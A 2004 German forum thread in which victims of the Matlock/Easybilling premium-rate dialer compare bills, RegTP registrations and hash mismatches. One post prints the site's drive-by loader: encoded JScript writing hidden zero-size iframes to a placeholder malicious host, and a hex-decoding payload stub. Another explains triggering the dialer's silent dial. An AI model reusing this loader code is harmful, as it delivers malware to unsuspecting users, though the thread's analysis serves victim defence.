_Offenbar haben die Dialer-Hersteller angesichts des öffentlichen Drucks der letzten Zeit kalte Füße bekommen und wollen mit der Initiative gesetzlichen Schritten zuvorkommen. Unlängst forderten zwei CDU/CSU-Politikerinnen die Verbraucherschutzministerin Künast auf, etwas gegen die "Machenschaften im Internet" zu unternehmen. Die Ministerin hatte zuvor in einem c't-Interview bereits mögliche gesetzliche Neuregelungen angedeutet. _


Auf den Seiten der Dialeranbieter kann man hierzu lesen:

_In wesentlichen Punkten wurde ein Anforderungskatalog für Internetdialer verabschiedet, an den sich die Anbieter künftig halten wollen.
Die wichtigsten Kriterien: absolut transparente Einwahl, transparente Kosten, keine Trojaner-Funktionen, Hinweise auf
Hersteller und Anbieter sowie keine Einrichtung zur Standardverbindung auf dem Computer (...) Zu den Teilnehmern gehörten u.a. Mainpean GmbH, TELECOIN.de, EOPS AG und die iCom Media AG. (...) Geplant ist, dass künftig ein sogenanntes Dialer-Gütesiegel die Verbraucher über die entsprechenden Internetdialer aufklärt, und sich die Anbieter verpflichten, sich strikt an die Aufnahmekriterien für das Gütesiegel zu halten. Somit werde von Seiten der Anbieter größte Verbrauchersicherheit garantiert. (...)

*My Channel, die CDU/CSU-Fraktion und auch die Dialeranbieter sehen mittlerweile darin die Gefahr, dass sich aufgrund schwindenden Verbrauchervertrauens die wirtschaftliche Krise des Internets noch weiter verschärft, dadurch ein hoher volkswirtschaftlicher Schaden entsteht und es mittlerweile an der Zeit ist, dass sich die wesentlichen Anbieter in der Szene auf gemeinsame Normen verständigen.*_

(Quelle kommerziell und nicht verlinkt)


----------



## technofreak (13 März 2004)

Und was soll uns das sagen?  Tatsache ist und bleibt , als es drauf ankam im Jahre 2003 war von all den schönen 
Absichtserklärungen  und Parolen  zu  einer  besseren gesetzlichen Regelung nicht mehr viel übrig geblieben.

An den Taten sollst du sie messen, nicht an wohlklingenden Werbesprüchen..

Solange man  populistische Parolen nicht selber umsetzen muß, ist es leicht Forderungen aufzustellen. 

Hinterher kann man dann immer sagen, "wir haben  gefordert" und verschweigt schamhaft
 die Bremserfunktion , wenns drauf ankam


----------



## cicojaka (13 März 2004)

Sorry, der obige Beitrag ist von mir und doch eigentlich ganz eindeutig eine Unterstützung deiner Ansicht. 

 :wave: 

Absichtserklärung seitens der Anbieter, der Politik, usw. - passiert ist nichts.

Warum nicht?

Diese Frage gilt nicht dir, sondern der Politik...


cj


----------



## Qoppa (13 März 2004)

blumenwiese23 schrieb:
			
		

> wie viel prozent bekommt die telekom eigentlich



Als allgemeine Richtlinie:


			
				http://www.telekom.de/etelco/faq_frage/0 schrieb:
			
		

> DTAG]
> Für beide Pakete standen vier Tarifstufen zur Auswahl:
> 
> Tarifstufe  Kosten für den Anrufer  -  Auszahlungsbetrag
> ...





			
				Petrus schrieb:
			
		

> eigentlich sollte sie ein Gesetz auf den Weg bringen, wonach die DTAG bei allen Kunden bis zu einem bestimmten Termin, z.B. 01.04.04 diese Vorwahlen bei allen Kunden sperren muß und nur auf ausdrücklichen Wunsch des Kunden freischalten darf.


*Dies* ist, glaube ich, nicht so einfach. Die Mehrwertdienste sind ja ein Teil des Telekommunikationsmarktes, und die Anbieter dieser Dienste würden sicherlich Klage erheben, daß durch so ein Gesetz (oder falls die Telekom von sich aus alle 0190/0900 Nummern by default sperren würde) der freie Wettbewerb verhindert würde.

Aber natürlich könnte die Telekom die Sperre kostenfrei anbieten. Aber dann könnte sie ja kein Sch(m)utzgeld mehr einsammeln ... :evil: 

Übrigens, @ Petrus: das wirksamste Mittel gegen diesen Sumpf ist es, wenn möglichst viele dem Beispiel einiger geschätzter (und erlauchter) Forumsmitglieder folgen und den Streit kostenträchtig vor Gericht ausfechten!

@ tf:
ich glaube nicht, daß sich die "Schuld" hier einfach parteipolitisch aufteilen läßt. Es spielen da ja immer viele Gesichtspunkte hinein. Was den Verbraucherschutz angeht, magst Du recht haben. Aber wo es um Deregulierung und Wettbewerb geht, sieht es anders aus. Hier finde ich die Kommentare der Opposition zur derzeitigen Debatte um das neue Telekom-Gesetz zitierenswert: "Bisher sei das Monopol der Telekom *nicht geknackt*" Quelle: ftd.)
Das ist eine bemerkenswerte Formulierung, und es erklärt vieles von der Gutsherrenart, mit der die Telekom - noch - meint, ihre Kunden behandeln zu dürfen.


----------



## Dino (13 März 2004)

> ...und die Anbieter dieser Dienste würden sicherlich Klage erheben, daß durch so ein Gesetz (oder falls die Telekom von sich aus alle 0190/0900 Nummern by default sperren würde) der freie Wettbewerb verhindert würde...



Es gibt durchaus einige Festnetzanbieter, die Mehrwertnummern per Default sperren. Ein Beispiel, das mir so aus der Erinnerung heraus einfällt, wäre MNet. Und bis dato habe ich noch nichts davon gehört, dass man denen an die Karre gefahren ist.


----------



## Qoppa (13 März 2004)

Hmm, das eine ist eine gesetzliche Regelung, die das verpflichtend macht. Das andere, ob und v.a. von wem das standardmäßig angeboten wird. Diese Auskunft habe ich von einem Telekommitarbeiter, die mir hier (ausnahmweise!) glaubwürdig erschien. Es kann gut sein, daß für den (Ex-)Monopolisten ("marktbeherrschende Stellung") hier andere Regeln gelten.
Aber sicher weiß ich es auch nicht, das müßte jemand sagen, der sich gut im Wettbewerbsrecht auskennt.


----------



## Step (13 März 2004)

*Dialer gesucht...*

Suche den Dialer um den Hashwert mittels RegTP Programm zu ermitteln.
Wichtig! es muß einer sein der am 15.2.04 bei mir sein Unwesen trieb.
Wer kann helfen?


----------



## Anonymous (14 März 2004)

*exdialer*

hi all,

also ich bin mehr oder weniger auch opfer geworden. Ich war auch gearde am surfen, als auf einmal das laden der seite abgebrochen wurde und im IE eine Meldung erschien, wie wenn man nicht mit dem Internet verbunden ist.

Da ich mir die Tücken eines Dialers (!) vorstellen konnte, hab ich sofort den taskmanager aufgerufen und hab unter Netzwerk gesehen, dass da nicht mehr mein eigentlicher Einwahlanbiert da steht sonder : exdialer.

Ich hab mich sofort abgemeldet, darauf hin wieder angemeldet und den rechner gescannt.

Meine Frage lautet:

Ich war wahrscheinlich ca 10 sekunden verbunden, kann es aber nicht genau sagen, deswegen:

wo kann ich nachschauen, wie lange das gedauert hat. Gibt es da eine Logdatei in windows xp?

Das tatsächliche Ausmaß kann ich nicht beurteilen, aber die Frage ist, wieviel könnten diese 10sekunden oder 15 sekunden gekostet haben.

mfg profiler


----------



## eb-victim (14 März 2004)

*Re: exdialer*



			
				profiler schrieb:
			
		

> Meine Frage lautet:
> wo kann ich nachschauen, wie lange das gedauert hat. Gibt es da eine Logdatei in windows xp?
> Das tatsächliche Ausmaß kann ich nicht beurteilen, aber die Frage ist, wieviel könnten diese 10sekunden oder 15 sekunden gekostet haben.
> mfg profiler


Unter "Arbeitsplatz / Verwalten / Ereignisanzeige / System" stehen die normalen RAS-Verbindungen mit Anfang- und Endzeit drin.
Abzocker-Dialer kassieren im Blocktarif: EUR 29,99 für 20 oder 30 Minuten.

Korrektur: Arbeitsplatz, dann rechte Maustaste, dann Verwalten, dann Ereignisanzeige und dann System. (Ich hoffe, die Bezeichnungen sind korrekt (mein Windows redet englisch).)


----------



## cicojaka (14 März 2004)

*Re: 090090000263 bis unendlich*



			
				Petrus schrieb:
			
		

> Hallo ihr frisch Geschädigten,
> 
> lasst doch auf jeden Fall bei der DTAG (Telekom) die Nummerngassen
> 0190 / 0900
> ...



Nein, dann lieber 30 Euro für einen Hardware-Blocker! Erstens verdient daran nicht Big-T-Bill und zweitens schützt es gegen jede Einwahl ausser der erlaubten Einwahl (white-list)


----------



## hrachka (14 März 2004)

good news everyone!

ich habe "mein" web.exe mit dem Hash-Programm ermittelt und herausgestellt, dass beide Hashwerte, der meines WEB.EXE und, der aus der datenbank der RegTP NICHT identisch sind,obwohl die angezeigte Version von meinem WEB.EXE mit der von der Datenbank übereinstimmte. Hashversion vom WEB.EXE gelang mir nicht rauszufinden, denn es immer ein Fehler gemeldet wurde.


----------



## Anonymous (14 März 2004)

*Re: exdialer*



			
				eb-victim schrieb:
			
		

> profiler schrieb:
> 
> 
> 
> ...



Arbeitsplatz / Systemsteuerung / Verwaltung / Ereignisanzeige / System ???


----------



## Anonymous (14 März 2004)

*noch mehr betroffene*

bei uns in der wg hat sich das Ding auch eingewählt, am 5.2.
Wer also gerade am zählen der Beschwerdebriefe ist, kann unseren dazunehmen.
Unser Problem: Wir haben das erste heute bemerkt, und den Rechnugsbetrag schön längst komplett überwiesen. Ist da noch was zu machen?


----------



## virenscanner (14 März 2004)

> ...und den Rechnugsbetrag schön längst komplett überwiesen.


Selbst überwiesen (Überweisungsformular) oder wurde abgebucht (Einzugsermächtigung)?


----------



## hrachka (14 März 2004)

*Re: noch mehr betroffene*



			
				intsch schrieb:
			
		

> bei uns in der wg hat sich das Ding auch eingewählt, am 5.2.
> Wer also gerade am zählen der Beschwerdebriefe ist, kann unseren dazunehmen.
> Unser Problem: Wir haben das erste heute bemerkt, und den Rechnugsbetrag schön längst komplett überwiesen. Ist da noch was zu machen?



bei der CITIBANK wo mein Nest ist, kann ich binnen 14 tage jede Überweisung stornieren. Tut es bei Euch dasselbe. Wird`s funktionieren.


----------



## hrachka (14 März 2004)

:evil: 

also folgendes:


Nach weiteren ntersuchungen in der Datenbank von RegTP habe ich folgendes festgestellt:

bei mir:
web.exe - last modified at 26.01.2004 - angezeigte Version - 2.0.0.3, Hashwert - ERROR
Hashwert vom HashAnzeige.exe: 75895E830E5C6E63A7643EF10149C5B756A81864

 :x bei der RegTP:
Reg.-Nr.: 90090000263-756024 vom : Dec 17 2003 1:33PM 
Hash - Wert :cdc2d7874acc35b37ac7a1eb3cc31ff6 
Dateiname : Dialer_090090000263.exe 
Dialer - Version : 2.0.0.3  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize

bei der RegTP:
Reg.-Nr.: 90090000263-1263827 vom : Feb 4 2004 9:50AM 
Hash - Wert :75895E830E5C6E63A7643EF10149C5B756A81864 
Dateiname : Dialer_090090000263.exe 
Dialer - Version : 3.0.0.3  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize

Wie man sieht, Versionnummer mit entsprechendem Hashwert entsprechen der Wirklichkeit bei mir NICHT. Noch kommischer, dass die Version 3.0.0.3 ist am 04. Februar registriert und bei mir am Rechner ist schon am 26.01.2004. Na also........bin etwas dämmlich um das Fazit allein zu ziehen. Helft mir!


----------



## Anonymous (14 März 2004)

hrachka schrieb:
			
		

> bei mir:
> web.exe - last modified at 26.01.2004 - angezeigte Version - 2.0.0.3, Hashwert - ERROR
> Hashwert vom HashAnzeige.exe: 75895E830E5C6E63A7643EF10149C5B756A81864
> 
> ...



irgendwo habe ich gelesen, dass schon die Änderung eines Wortes oder so in der Datei den hashwert ändert. Das würde einiges erklären, bleibt die Frage, wie die RegTP ihre Verfügungen auslegt.

Streng genommen ist das ein Verstoß gegen diese Verfügung, die das mit dem Hashwert regelt. Oder?

cj


----------



## eb-victim (14 März 2004)

*Re: exdialer*



			
				Anonymous schrieb:
			
		

> Arbeitsplatz / Systemsteuerung / Verwaltung / Ereignisanzeige / System ???


Mein Fehler: "Arbeitsplatz", dann rechte Maustaste und "Verwalten", dann Ereignisanzeige und System öffnen.
Sollte bei Windows 2000 und Windows XP funktionieren.
Da ich ein englisches Windows einsetze, stimmen evtl. nicht alle Bezeichnungen haargenau überein.


----------



## hrachka (14 März 2004)

Anonymous schrieb:
			
		

> hrachka schrieb:
> 
> 
> 
> ...


----------



## virenscanner (14 März 2004)

> eines Wortes oder so *in* der Datei


Damit ist nicht der Name der Datei gemeint.


----------



## TSCoreNinja (14 März 2004)

*Sammlung Exploits*

Hi All,
Wie kommt meine Web.exe auf meinen Rechner? Eine Frage, die hier vermutlich viele wissen wollen.

Hab die Antwort gerade frisch aus dem Web gezogen. Wenn ich Eingang anklicke, kommt folgendes auf meinen Rechner:

```
<SCRIPT LANGUAGE="JScript.Encode">document.write(' <IFRAME SRC="$BÖSEURL/loader/get.html?id=4&sess_id=sNJcXm" WIDTH=0 HEIGHT=0></
IFRAME>');
</SCRIPT><SCRIPT LANGUAGE="JScript.Encode">document.write(' <IFRAME SR
C="$BÖSEURL/loader/get.html?id=1&sess_id=sNJcXm" WIDTH=0 HE
IGHT=0></IFRAME>');
</SCRIPT><SCRIPT LANGUAGE="JScript.Encode">document.write('<OBJECT DAT
A="$BÖSEURL/loader/get.html?id=6&sess_id=sNJcXm" WIDTH=0 HE
IGHT=0>')
```
Drei Dateien, die drei Exploits enthalten. Nachdem ich meinen Browser (Konqueror/Linux) fleissig das Session-Cookie habe liefern lassen (?), hat mir der Webserver auch brav die Dateien geliefert. 

BTW, gethtml?id=2 und 3 liefern die fuer den 1. Exploit noetigen Daten, andere ids gibts nicht (bis 20 getestet).

get.html?id=1 ist der bereits diskutierte Windows Media Player Exploit, der den Player überschreibt/den Dialer darin einparkt. 

get.html?id=4  sieht wie folgt aus:

```
<SCRIPT LANGUAGE="JScript.Encode">var z="<Langer String>";
var s;
s="";
for (f=0;f<z.length;f+=2)
{
    s+=String.fromCharCode("0x"+z.charAt(f)+z.charAt(f+1));
}
document.write(s);
</SCRIPT>
```
get.html?id=6 ist ein mir wohlbekannter HTA Exploit 
Weiss jemand der Komplettheit halber, was Exploit 4 tut? Ansonsten werde ich mal den Dialer auspacken, wenn ich Langeweile habe, weiss noch nicht, welche Nummer der anwaehlt.
Gruesse,
TSCoreNinja


----------



## TSCoreNinja (14 März 2004)

BTW, @ alle Matlock Opfer.

Nachdem Ihr vermutlich alle Zeit und Geld in die Verteidigung gegen die durch die rosa Riesen eingetriebenen Forderungen von Matlock geopfert habt, hier eine Moeglichkeit, zumindest etwas des finanziellen Verlusts zu kompensieren, wenn Ihr eine Homepage habt. Siehe http://traf-shop.com/

Wer nicht versteht, was dass mit Matlock zu tun hat, schaue sich mal den Whois Eintrag ein


----------



## hrachka (14 März 2004)

TSCoreNinja schrieb:
			
		

> BTW, @ alle Matlock Opfer.
> 
> Nachdem Ihr vermutlich alle Zeit und Geld in die Verteidigung gegen die durch die rosa Riesen eingetriebenen Forderungen von Matlock geopfert habt, hier eine Moeglichkeit, zumindest etwas des finanziellen Verlusts zu kompensieren, wenn Ihr eine Homepage habt. Siehe http://traf-shop.com/
> 
> Wer nicht versteht, was dass mit Matlock zu tun hat, schaue sich mal den Whois Eintrag ein



blödsinn

mit einem PopUpStopper kriege ich sowoeso nichts vor den Augen. Dann rentiert sich auch nicht für derjenigen der das geld zahlt.


----------



## Lyska (14 März 2004)

*Erlebnisbericht*

hab in den letzten Tagen hier fleissig gelesen und will jetzt auch mal meinen Erlebnisbericht zum besten geben..
passiert is das ganze am 31.01.2004.. Dialer hat sich selbstständig runtergeladen, eingewählt, gelöscht... das übliche eben...
als dann die Rechnung ins Haus flatterte bekam ich nen Schlag.. 29,95€ für 6 sekunden... 
hab natürlich sofort bei den Telekomfritzen angerufen, mir erstmal erklären lassen was dieses PRS sein soll, meine Einzugsermächtigung widerrufen damit die das Geld nich bekommen und die Nummerngasse sperren lassen...

zum Glück hat die DTAG mir immer nen EVN mitgeschickt seit ich nicht mehr bei Rechnung Online bin..
so konnte ich wenigstens gleich mit der Recherche über 0900..425 beginnen und sties auf allseits bekannte Easybilling bzw Matlock

ein Blick in die RegTP ergab Hashwert und Versionsnummer stimmen natürlich nicht überein

Widerspruch wurde sofort abgeschickt (Einschreiben mit rückschein) mal sehen was dabei herauskommt..

wollte dann ne Woche später den Restbetrag überweisen und was stelle ich fest? die I[...] haben trotz allem meine Rechnung komplett abgebucht...
wieder ein wütender Anruf bei den Telekomikern.. die nette Frau erklärte mir, dass sie das Geld nicht zurück überweisen kann, da sie auch schon den strittigen Betrag an Easybilling weitergeleitet habe ... ich solle abwarten und vielleicht ne Woche später nochmal nachfragen... auf die Frage, ob ich das Geld über meine Bank zurückholen kann, bekam ich nur zu hören, dass ich das nicht machen solle wegen entstehender Stornogebühren..
das sie das gar nicht abbuchen durften weil keine Einzugsermächtigung vorlag, hat die gar nicht interessiert.. 
Frechheit is das.. 
konnte zum Glück alles über meine Bank zurückbuchen...
hab denen von der Telekom auch gleich noch nen netten Brief geschrieben und bin jetzt gespannt ob ich wenigstens ne Entschuldigung dafür bekomm und ob ich die Stornogebühren zahlen muss

ich freu mich schon richtig auf die Antwort von denen... die sollen sich mal mit mir anlegen.. bin ja nicht umsonst rechtschutzversichert *g*

werd mich auch nochn bissl mit den techn. Einzelheiten/ Funktionsweise beschäftigen.. wenn was neues rauskommt werdet ihr es erfahren

Liebe Grüße
Lys

_edit: Heiko_


----------



## Anonymous (14 März 2004)

So sehr ich deinen Ärger verstehe, solltest Du die Beleidigungen in deinem Beitrag löschen.


----------



## TSCoreNinja (14 März 2004)

hrachka schrieb:
			
		

> blödsinn
> 
> mit einem PopUpStopper kriege ich sowoeso nichts vor den Augen. Dann rentiert sich auch nicht für derjenigen der das geld zahlt.


Naja, für Matlock fällt scheinbar trotzdem die eine oder andere Einwahl ab. Oder glaubst Du, dass die das aus Grossherzigkeit machen, dass muss sich wirtschaftlich rechnen.
TSCN


----------



## eb-victim (14 März 2004)

*Alle (?) Matlock-Dialer gefunden!!!*

Hi, Folks!
Ich gehe mal davon aus, dass ich jetzt alle Matlock-Dialer für die Nummern 090090000421-470 sowie 090090000261-270 zusammen habe.

Zumindest für die Nummer 090090000426 gilt: der Dialer vom 17.12.03 und der Dialer vom 04.02.04 sind identisch!!!
Bei der Reg. vom 17.12. wurde der MD5-Hashwert (128 bit) angegeben.
Bei der Reg. vom 04.02. wurde der richtige 160-bit-Hashwert angegeben - aber leider mit einer falschen Versionsnummer!

Warum bin ich nicht früher dahintergekommen???

Dies gilt vermutlich für die anderen Nummern genauso.

Alle 60 Dialer haben identischen Programmcode und unterscheiden sich nur durch die angehängten Ressourcen, in denen die Nummer und der Preis enthalten ist.
Ergo: ist einer illegal, sind alle illegal!
Und wenn die Dinger legal sind, taugt das ganze Gesetz nix!!!


----------



## Anonymous (14 März 2004)

Hallo KollegInnen

Ich bin im Februar auch zum ersten Mal  Opfer eines 09009000261 Dialers geworden, nachdem ich schon seit 2000 im Internet surfe:

25,83 Euro für 6 (!!!) Sekunden.

Habe das ganze erst auf der Abrechnung bemerkt. Bewußt habe ich bestimmt nichts runtergeladen.

Ich habe sofort schriftlichen Einspruch und Beschwerde bei der Telekom eingelegt und meinen Anschluss für alle 0900 und 0190 Nummer sperren lassen. Das kosten 7,50 Euro.

Eigentlich ist das eine Frechheit. Wenn die Dialer Technologie so unsicher ist, sollte man es doch eher so handhaben, dass der Kunde seinen Anschluß explizit für einen speziellen Dialer freischalten lassen muss, wenn er wirklich solche "Leistungen" in Anspruch nehmen will.

Mir ist bis heute nicht klar, welche Leistungen sich hinter dieser Nummer, die der Easybilling AG gehört, verbergen. 

Den Betrag für den Dialer habe ich nicht überwiesen. Jetzt kam eine Mahnung der Telekom und eine Abweisung meiner Beschwerde, mit dem Hinweis, dass es sich um einen bei der REGTP registrierten Dialer handele.

Ich bin aber fest entschlossen, eine solche kriminelle Geldmache nicht zu unterstützen und diesen Betrag nicht zu überweisen. Für Hinweise dazu, wie ich auf meinem Computer Beweise für die Existenz eines solchen kriminellen Dialerprogramms sichern kann, bin ich dankbar.

Viele Grüße, Michael


----------



## blumenwiese23 (14 März 2004)

*Re: exdialer*



			
				eb-victim schrieb:
			
		

> profiler schrieb:
> 
> 
> 
> ...



da hab ich auch gerade nachgeschaut. leider startet das protokoll erst ein paar tage nach meinen einwahlen.
ich kann doch mit xp verschiedene datum wiederherstellen. könnte das klappen.
leider hab ich, als ich noch analog im netz war alle paar wochen mit dem steganos internet anonym meine platte aufgeräumt...


----------



## haudraufundschluss (14 März 2004)

http://forum.computerbetrug.de/viewtopic.php?p=44422#44422


----------



## Anonymous (14 März 2004)

haudraufundschluss schrieb:
			
		

> Es scheint nicht der KVM-Switch zu sein. Was soll man auch anderes erwarten, wenn man mit MS-Hardware unter Linux arbeiten möchte? Beim Installationsvorgang lässt sich die Maus bereits konfigurieren und auch für die Explorer-Serie scheint ein Treiber zu existieren. Man kann da auch eine Funktionskontrolle vornehmen. Seltsam daran: Überprüft man auf System Nr. 1 den konfigurierten Trackball, so scheint gar nichts zu gehen, aber wenn Linux das erste Mal wider besseres Wissen hochfährt, funktioniert er einwandfrei. Auf System Nr 2 (PII, 300Mhz, Intel BX440) fliegt bei der Kontrolle alles durcheinander. Bewege ich den Ball, wird das Rad als Funktion angezeigt, dritte und vierte Taste scheinen mit rechter und linker Maustaste vertauscht. Beim Hochfahren von Linux dann ist es so wie ganz zu Anfang. Der Trackball scheint im Sekundentakt abgefragt zu werden...



Hmm gehört meiner Meinung nach eher http://forum.computerbetrug.de/viewtopic.php?t=4432 hin? Leicht vertan? *gg*


----------



## haudraufundschluss (14 März 2004)

Völlig verlaufen!

Hab´s gerade schon hektisch gesucht und dachte, ich werde paranoid...


----------



## Anonymous (14 März 2004)

*geschädigter*

Hallo !

Ich bin auch auf der Suche nach Beweisen um der Easybilling einen unseriösen Dialer nachzuweisen , was warscheinlich sehr schwierig ist .
Vielleicht bin ich auch aus dem Schneider , weil meine Servicenummer
die 0190 8330843 nach dem 14.12.03 ist dafür habe ich aber auch schon das gerichtliche Mahnverfahren um die Zwangsvollstreckung gegen mich zu betreiben im Hause der ich natürlich widersprechen werde
Laut Auskunft der Deutschen Telekom ist Sie von der Regulierungsbehörde gesetzlich verpflichtet worden als Inkassounternehmen das Geld richterlich einzufordern und bedauert
es diese [] wegen der Regulierungsbehörde durchführen zu
müssen . 
Hat schon jemand Erfahrung wie solch ein Verfahren ausgeht ?

Mfg
pephisto

*[Virenscanner: Ein Wort entfernt]*


----------



## sascha (14 März 2004)

Nur mal immer langsam. Von einem Mahnbescheid bis zur Zwangsvollstreckung ist es ein weiter Weg, wenn Du ersterem widersprichst. Und wenn Du tatsächlich eine Rechnung für eine 0190-Dialer-Einwahl *nach dem 14.12.03* erhalten hat, stehen die Chancen für Dich ohnehin bestens...


----------



## hrachka (14 März 2004)

pephisto
 melde dich ordentlich mal, um PN bekommen zu können


----------



## haudraufundschluss (14 März 2004)

pephisto schrieb:
			
		

> ...das gerichtliche Mahnverfahren um die Zwangsvollstreckung gegen mich zu betreiben...


 Genau das ist eigentlich der typische Wortlaut in den Mahnungen von Inkassogehilfen, die meist das Papier, auf dem sie gedruckt wurden, nicht wert sind. Werde doch bitte mal genauer.


----------



## eb-victim (15 März 2004)

*ACCESS.EXE / WMPLAYER.EXE*

Hi!
Neuerdings bieten die Matlock-Seiten eine ACCESS.EXE zum Herunterladen an (nachdem der Auto-Dialer versuchte, die Verbindung aufzubauen   ).
Ausserdem ist es mir gelungen, Matlocks WMPLAYER.EXE zu sichern.
Und siehe da: beide gleich, beide nicht registriert.
Der Trick: heisst der Aufrufer IEXPLORE.EXE, dann wird sofort gewählt, sonst erscheint der bekannte Dialog.
Wer's ausprobieren möchte: Kopie der CMD.EXE als IEXPLORE.EXE speichern und IEXPLORE.EXE /C WMPLAYER.EXE aufrufen (vorher Telefonkabel ziehen oder Rechner anderweitig sichern!).


----------



## TSCoreNinja (15 März 2004)

*Matlocks Connections*

Habe von einer Matlock Dialerseite verlinkt einige interessante Einwahlnummern gefunden
1. 00239293005, diese wird von einem Dialer angewaehlt, der von einem Server von www.online-dialer.com stammt. Welche Inselrepublik ist dies?
2. die 0190833958000, die KomTel gehoert und direkt von einem Matlock Dialer bedient wird.
2. die 01908333378, die ebenfalls KomTel gehoert und ebenfalls direkt von Matlock bedient wird.

Arbeiten EasyBilling und KomTel zusammen? Beteiligte Domains stammen aus Panama, Prag, Gibraltar, England, LA und nicht zuletzt Belize. Das ist Globalisierung... 
Gruesse,
TSCoreNinja


----------



## technofreak (15 März 2004)

online-dialer schrieb:
			
		

> All dialers adhere to the standards set by FST e.V (Association for the Voluntary Self-Monitoring of Value-Added Telephony Services).



           

Was für Standards  sollen das denn sein .....

von der REgTP noch nie was gehört  :rotfl:  :rotfl:  :rotfl:


----------



## onkel s. (15 März 2004)

*ebenfalls abgezockt*

:bigcry: 
Am 21.01.04 für 33 s Verbindung zu 090090000423. Telekom hat 29,95 EUR abgebucht.
Nach dem Zurückbuchen und Überweisen des unstrittigen Betrags 
Habe mich bei der Regulierungsbehörde beschwerd.

YAW hat den Mist leider nicht verhindert, obwohl der Dialer in Quarantäne verschoben wurde.
Ich habe sogar noch einen zweiten Dialer im TEMP gefunden, ebenfalls von Easybilling.


----------



## blumenwiese23 (15 März 2004)

*warten...*

eieieie, jetzt warte ich schon über eine woche auf einen antwort-email von der regtp bezüglich meinem hinweis und der überprüfung des falschen hash-wert von easy-billing.
dann warte ich halt noch. :juggle:


----------



## juanito (15 März 2004)

*Re: Alle (?) Matlock-Dialer gefunden!!!*

Hallo,



			
				eb-victim schrieb:
			
		

> Hi, Folks!
> Ich gehe mal davon aus, dass ich jetzt alle Matlock-Dialer für die Nummern 090090000421-470 sowie 090090000261-270 zusammen habe.
> 
> Zumindest für die Nummer 090090000426 gilt: der Dialer vom 17.12.03 und der Dialer vom 04.02.04 sind identisch!!!
> ...



wie aus der Datenbank der RegTP ersichtlich ist, sind zu den meisten (allen) Matlock Dialer drei Versionen registriert. Die erste am 9. Dezember 2003, zweite am 17. Dezember, dritte am 4. Februrar 2004. 

Die beiden letzten sind identisch, aber was ist mit der am 9. Dezember registrierten Version...? Hat schon irgendjemand mal diese Version zu einer Nummer in die Finger gekriegt?   

Der registrierte Hashwert am 9.Dez. ist auch nur 128 Bit lang, so daß er auch nicht den Vorgaben der RegTP entspricht... d.h. keiner der registrieten Matlock Dialer entspricht den Vorgaben der RegTP ... ein Versehen der Easybilling oder Absicht???

Gruß


----------



## eb-victim (15 März 2004)

*Re: Alle (?) Matlock-Dialer gefunden!!!*



			
				juanito schrieb:
			
		

> Der registrierte Hashwert am 9.Dez. ist auch nur 128 Bit lang, so daß er auch nicht den Vorgaben der RegTP entspricht... d.h. keiner der registrieten Matlock Dialer entspricht den Vorgaben der RegTP


Werden vor dem 14.12. registrierte Dialer nach dem 13.12. eingesetzt, besteht nach Rechtsauffassung der RegTP kein Zahlungsanspruch.


----------



## blumenwiese23 (15 März 2004)

*Re: Alle (?) Matlock-Dialer gefunden!!!*



			
				eb-victim schrieb:
			
		

> juanito schrieb:
> 
> 
> 
> ...



das stimmt. das überliest die telekom aber oft versehentlich  
bei meinen zwei nummern gibt es jeweils drei versionen. registrierdaten:
9.12, 17.12 und 4.02. meine einwahlen waren im januar. also fällt die vom 4.02 schon weg. die anderen haben nur 128 bit verschlüsselung. aber versuch das mal denen von der telekom klarzumachen.

gruss


----------



## blumenwiese23 (15 März 2004)

*Re: Alle (?) Matlock-Dialer gefunden!!!*



			
				eb-victim schrieb:
			
		

> Hi, Folks!
> 
> ... d.h. keiner der registrieten Matlock Dialer entspricht den Vorgaben der RegTP ... ein Versehen der Easybilling oder Absicht???



für mich ist der fall klar :lol: !! komischerweise ist nur eine version registriert, die den anforderungen der regtp entspricht. die anderen zwei versionen einer matlock-nummer sind nicht rechtskonform registriert. wegen hash-wert oder registrierdatum... ich hoffe, die bei der regtp sehen das auch so.


----------



## cicojaka (15 März 2004)

*Re: Matlocks Connections*



			
				TSCoreNinja schrieb:
			
		

> Habe von einer Matlock Dialerseite verlinkt einige interessante Einwahlnummern gefunden
> 1. 00239293005, diese wird von einem Dialer angewaehlt, der von einem Server von www.online-dialer.com stammt. Welche Inselrepublik ist dies?
> 2. die 0190833958000, die KomTel gehoert und direkt von einem Matlock Dialer bedient wird.
> 2. die 01908333378, die ebenfalls KomTel gehoert und ebenfalls direkt von Matlock bedient wird.
> ...



Die Verbindung zwischen Haldex / online-d und dieser Sache kann man auch durch andere Quellen bestätigen. Was wurde aus dem deutschen Beitrag zu Haldex eigentlich? 

Weiterhin Narrenschutz? 


P.S.: Gilt für den eigentlich das Jugendstrafrecht, wenn er den richtigen Verteidiger hat?


----------



## klatsche (15 März 2004)

*Re: Easy Billing AG und ExDialer*



			
				Frank schrieb:
			
		

> Bist du sicher, dass der Dialer von Easy Billing entwickelt wurde? Ich erwäge, Strafanzeige wegen Betruges zu stellen. Zwar hat der Hersteller von Dialern per se keinen Einfluss auf dessen widerrechtlichen Einsatz auf Websites seiner Kunden. In diesem Fall aber ist die Funktionsweise des Programmes bereits in der Entwicklung so perfide angelegt, dass seinem Hersteller ein betrügerischer Vorsatz unterstellt werden muss. Woher stammt die Information, dass die Einwahl 30 € kostet? Vermutest du das aufgrund der Gesetzeslage oder gibt es dafür eine Quelle im Netz? Denkbar ist ja beispielsweise auch, dass keine Drop-Charge-, sondern eine taktierte Tarifierung erfolgt, wobei die Preisgetaltung ohnehin den Verwendern der Dialer-Programme anheim gestellt sein dürfte.
> Ich würde mich über eine Antwort freuen.
> 
> Gruß Frank


Hatte  am 23.02 den Dialer .....423 von Easybillings auf der Abrechnung für eine Einwahl 20sek. 25,81€ netto

gruß 

klatsche


----------



## hrachka (15 März 2004)

ich verliere langsam den Überblick leute. Wie wiet haben wir es gebracht ausser festzustellen dass WEB.EXE und andere ähnliche Dialer der Registrierung bei RegTP nicht entsprechen. 

Sollen wir die Beweise nicht irgendwo sammeln und rechtliche Schritte vornehmen.


----------



## eb-victim (16 März 2004)

hrachka schrieb:
			
		

> Sollen wir die Beweise nicht irgendwo sammeln ...


Gesicherte Erkenntnisse
1. Der Dialer, der als C:\WEB.EXE ohne explizite Zustimmung ausgeführt wird, ist bei der RegTP registriert; er wählt sofort, falls beim Aufruf "-web" angegeben wird.
==> Verstoß gegen Mindestanforderungen: Schutz gegen Missbrauch (siehe auch 3)
